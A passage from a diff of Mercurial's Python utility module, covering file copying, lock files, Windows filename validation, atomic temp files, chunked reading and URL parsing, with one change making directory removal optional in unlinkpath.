             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield ''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield ''.join(buf)
 
 def always(fn):
     return True
 
 def never(fn):
     return False
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
     return wrapper
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = '/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split('/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join((['..'] * len(a)) + b) or '.'
 
 # the location of data files matching the source code
 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != 'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     'apfs',
     'btrfs',
     'ext2',
     'ext3',
     'ext4',
     'hfs',
     'jfs',
     'NTFS',
     'reiserfs',
     'tmpfs',
     'ufs',
     'xfs',
     'zfs',
 }
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (
                             oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise error.Abort(str(inst))
 
 def copyfiles(src, dst, hardlink=None, progress=None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     def settopic():
         if progress:
             progress.topic = _('linking') if hardlink else _('copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (os.stat(src).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         settopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
             num += n
     else:
         if hardlink is None:
             hardlink = (os.stat(os.path.dirname(src)).st_dev ==
                         os.stat(os.path.dirname(dst)).st_dev)
         settopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         if progress:
             progress.increment()
 
     return hardlink, num
 
 _winreservednames = {
     'con', 'prn', 'aux', 'nul',
     'com1', 'com2', 'com3', 'com4', 'com5', 'com6', 'com7', 'com8', 'com9',
     'lpt1', 'lpt2', 'lpt3', 'lpt4', 'lpt5', 'lpt6', 'lpt7', 'lpt8', 'lpt9',
 }
 _winreservedchars = ':*?"<>|'
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith('\\'):
         return _("filename ends with '\\', which is invalid on Windows")
     if '\\/' in path:
         return _("directory name ends with '\\', which is invalid on Windows")
     for n in path.replace('\\', '/').split('/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return _("filename contains '%s', which is reserved "
                          "on Windows") % c
             if ord(c) <= 31:
                 return _("filename contains '%s', which is invalid "
                          "on Windows") % stringutil.escapestr(c)
         base = n.split('.')[0]
         if base and base.lower() in _winreservednames:
             return _("filename contains '%s', which is reserved "
                      "on Windows") % base
         t = n[-1:]
         if t in '. ' and n not in '..':
             return _("filename ends with '%s', which is not allowed "
                      "on Windows") % t
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 def makelock(info, pathname):
     """Create a lock file atomically if possible
 
     This may leave a stale lock file if symlink isn't supported and signal
     interrupt is enabled.
     """
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError: # no symlink in os
         pass
 
     flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
     ld = os.open(pathname, flags)
     os.write(ld, info)
     os.close(ld)
 
 def readlock(pathname):
     try:
         return os.readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError: # no symlink in os
         pass
     fp = posixfile(pathname, 'rb')
     r = fp.read()
     fp.close()
     return r
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 # File system features
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 try:
     import re2
     _re2 = None
 except ImportError:
     _re2 = False
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', '[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = '(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = '(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 re = _re()
 
 _fspathcache = {}
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace('\\','\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return ''.join(result)
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = pycompat.mkstemp(prefix='.%s-' % os.path.basename(testfile),
                                   suffix='1~', dir=os.path.dirname(testfile))
         os.close(fd)
         f2 = '%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (path.endswith(pycompat.ossep)
             or pycompat.osaltsep and path.endswith(pycompat.osaltsep))
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 def mktempcopy(name, emptyok=False, createmode=None):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = pycompat.mkstemp(prefix='.%s-' % fn, suffix='~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode)
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, "rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, "wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except: # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (self.stat.st_size == old.stat.st_size and
                     self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME] and
                     self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME])
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return (self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME])
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7fffffff
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
     def __init__(self, name, mode='w+b', createmode=None, checkambig=False):
         self.__name = name      # permanent name
         self._tempname = mktempcopy(name, emptyok=('w' in mode),
                                     createmode=createmode)
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7fffffff
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'): # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
-def unlinkpath(f, ignoremissing=False):
+def unlinkpath(f, ignoremissing=False, rmdir=True):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
-    # try removing directories that might now be empty
-    try:
-        removedirs(os.path.dirname(f))
-    except OSError:
-        pass
+    if rmdir:
+        # try removing directories that might now be empty
+        try:
+            removedirs(os.path.dirname(f))
+        except OSError:
+            pass
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 def readfile(path):
     with open(path, 'rb') as fp:
         return fp.read()
 
 def writefile(path, text):
     with open(path, 'wb') as fp:
         fp.write(text)
 
 def appendfile(path, text):
     with open(path, 'ab') as fp:
         fp.write(text)
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2**20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return ''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2**18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset:offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return ''.join(buf)
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 class cappedreader(object):
     """A file object proxy that allows reading up to N bytes.
 
     Given a source file object, instances of this type allow reading up to
     N bytes from that source file object. Attempts to read past the allowed
     limit are treated as EOF.
 
     It is assumed that I/O is not performed on the original file object
     in addition to I/O that is performed by this instance. If there is,
     state tracking will get out of sync and unexpected results will ensue.
     """
     def __init__(self, fh, limit):
         """Allow reading up to <limit> bytes from <fh>."""
         self._fh = fh
         self._left = limit
 
     def read(self, n=-1):
         if not self._left:
             return b''
 
         if n < 0:
             n = self._left
 
         data = self._fh.read(min(n, self._left))
         self._left -= len(data)
         assert self._left >= 0
 
         return data
 
     def readinto(self, b):
         res = self.read(len(b))
         if res is None:
             return None
 
         b[0:len(res)] = res
         return len(res)
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_("line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_("fromline must be strictly positive"))
     return fromline - 1, toline
 
 bytecount = unitcountfn(
     (100, 1 << 30, _('%.0f GB')),
     (10, 1 << 30, _('%.1f GB')),
     (1, 1 << 30, _('%.2f GB')),
     (100, 1 << 20, _('%.0f MB')),
     (10, 1 << 20, _('%.1f MB')),
     (1, 1 << 20, _('%.2f MB')),
     (100, 1 << 10, _('%.0f KB')),
     (10, 1 << 10, _('%.1f KB')),
     (1, 1 << 10, _('%.2f KB')),
     (1, 1, _('%.0f bytes')),
     )
 
 class transformingwriter(object):
     """Writable file wrapper to transform data by function"""
 
     def __init__(self, fp, encode):
         self._fp = fp
         self._encode = encode
 
     def close(self):
         self._fp.close()
 
     def flush(self):
         self._fp.flush()
 
     def write(self, data):
         return self._fp.write(self._encode(data))
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 def tolf(s):
     return _eolre.sub('\n', s)
 
 def tocrlf(s):
     return _eolre.sub('\r\n', s)
 
 def _crlfwriter(fp):
     return transformingwriter(fp, tocrlf)
 
 if pycompat.oslinesep == '\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
     nativeeolwriter = _crlfwriter
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
     nativeeolwriter = pycompat.identity
 
 if (pyplatform.python_implementation() == 'CPython' and
     sys.version_info < (3, 0)):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
     # like "read*" are ignored for now, as Python < 2.7.4 is a minority.
     #
     # Although we can workaround the EINTR issue for fp.__iter__, it is slower:
     # "for x in fp" is 4x faster than "for x in iter(fp.readline, '')" in
     # CPython 2, because CPython 2 maintains an internal readahead buffer for
     # fp.__iter__ but not other fp.read* methods.
     #
     # On modern systems like Linux, the "read" syscall cannot be interrupted
     # when reading "fast" files like on-disk files. So the EINTR issue only
     # affects things like pipes, sockets, ttys etc. We treat "normal" (S_ISREG)
     # files approximately as "fast" files and use the fast (unsafe) code path,
     # to minimize the performance impact.
     if sys.version_info >= (2, 7, 4):
         # fp.readline deals with EINTR correctly, use it as a workaround.
         def _safeiterfile(fp):
             return iter(fp.readline, '')
     else:
         # fp.read* are broken too, manually deal with EINTR in a stupid way.
         # note: this may block longer than necessary because of bufsize.
         def _safeiterfile(fp, bufsize=4096):
             fd = fp.fileno()
             line = ''
             while True:
                 try:
                     buf = os.read(fd, bufsize)
                 except OSError as ex:
                     # os.read only raises EINTR before any data is read
                     if ex.errno == errno.EINTR:
                         continue
                     else:
                         raise
                 line += buf
                 if '\n' in buf:
                     splitted = line.splitlines(True)
                     line = ''
                     for l in splitted:
                         if l[-1] == '\n':
                             yield l
                         else:
                             line = l
                 if not buf:
                     break
             if line:
                 yield line
 
     def iterfile(fp):
         fastpath = True
         if type(fp) is file:
             fastpath = stat.S_ISREG(os.fstat(fp.fileno()).st_mode)
         if fastpath:
             return fp
         else:
             return _safeiterfile(fp)
 else:
     # PyPy and CPython 3 do not have the EINTR issue thus no workaround needed.
     def iterfile(fp):
         return fp
 
 def iterlines(iterator):
     for chunk in iterator:
         for line in chunk.splitlines():
             yield line
 
 def expandpath(path):
     return os.path.expanduser(os.path.expandvars(path))
 
 def interpolate(prefix, mapping, s, fn=None, escape_prefix=False):
     """Return the result of interpolating items in the mapping into string s.
 
     prefix is a single character string, or a two character string with
     a backslash as the first character if the prefix needs to be escaped in
     a regular expression.
 
     fn is an optional function that will be applied to the replacement text
     just before replacement.
 
     escape_prefix is an optional flag that allows using doubled prefix for
     its escaping.
     """
     fn = fn or (lambda s: s)
     patterns = '|'.join(mapping.keys())
     if escape_prefix:
         patterns += '|' + prefix
         if len(prefix) > 1:
             prefix_char = prefix[1:]
         else:
             prefix_char = prefix
         mapping[prefix_char] = prefix_char
     r = remod.compile(br'%s(%s)' % (prefix, patterns))
     return r.sub(lambda x: fn(mapping[x.group()[1:]]), s)
 
 def getport(port):
     """Return the port for a given network service.
 
     If port is an integer, it's returned as is. If it's a string, it's
     looked up using socket.getservbyname(). If there's no matching
     service, error.Abort is raised.
     """
     try:
         return int(port)
     except ValueError:
         pass
 
     try:
         return socket.getservbyname(pycompat.sysstr(port))
     except socket.error:
         raise error.Abort(_("no port number associated with service '%s'")
                           % port)
 
 class url(object):
     r"""Reliable URL parser.
 
     This parses URLs and provides attributes for the following
     components:
 
     <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment>
 
     Missing components are set to None. The only exception is
     fragment, which is set to '' if present but empty.
 
     If parsefragment is False, fragment is included in query. If
     parsequery is False, query is included in path. If both are
     False, both fragment and query are included in path.
 
     See http://www.ietf.org/rfc/rfc2396.txt for more information.
 
     Note that for backward compatibility reasons, bundle URLs do not
     take host names. That means 'bundle://../' has a path of '../'.
 
     Examples:
 
     >>> url(b'http://www.ietf.org/rfc/rfc2396.txt')
     <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'>
     >>> url(b'ssh://[::1]:2200//home/joe/repo')
     <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'>
     >>> url(b'file:///home/joe/repo')
     <url scheme: 'file', path: '/home/joe/repo'>
     >>> url(b'file:///c:/temp/foo/')
     <url scheme: 'file', path: 'c:/temp/foo/'>
     >>> url(b'bundle:foo')
     <url scheme: 'bundle', path: 'foo'>
     >>> url(b'bundle://../foo')
     <url scheme: 'bundle', path: '../foo'>
     >>> url(br'c:\foo\bar')
     <url path: 'c:\\foo\\bar'>
     >>> url(br'\\blah\blah\blah')
     <url path: '\\\\blah\\blah\\blah'>
     >>> url(br'\\blah\blah\blah#baz')
     <url path: '\\\\blah\\blah\\blah', fragment: 'baz'>
     >>> url(br'file:///C:\users\me')
     <url scheme: 'file', path: 'C:\\users\\me'>
 
     Authentication credentials:
 
     >>> url(b'ssh://joe:xyz@x/repo')
     <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'>
     >>> url(b'ssh://joe@x/repo')
     <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'>
 
     Query strings and fragments:
 
     >>> url(b'http://host/a?b#c')
     <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'>
     >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False)
     <url scheme: 'http', host: 'host', path: 'a?b#c'>
 
     Empty path:
 
     >>> url(b'')
     <url path: ''>
     >>> url(b'#a')
     <url path: '', fragment: 'a'>
     >>> url(b'http://host/')
     <url scheme: 'http', host: 'host', path: ''>
     >>> url(b'http://host/#a')
     <url scheme: 'http', host: 'host', path: '', fragment: 'a'>
 
     Only scheme:
 
     >>> url(b'http:')
     <url scheme: 'http'>
     """
 
     _safechars = "!~*'()+"
     _safepchars = "/!~*'()+:\\"
     _matchscheme = remod.compile('^[a-zA-Z0-9+.\\-]+:').match
 
     def __init__(self, path, parsequery=True, parsefragment=True):
         # We slowly chomp away at path until we have only the path left
         self.scheme = self.user = self.passwd = self.host = None
         self.port = self.path = self.query = self.fragment = None
         self._localpath = True
         self._hostport = ''
         self._origpath = path
 
         if parsefragment and '#' in path:
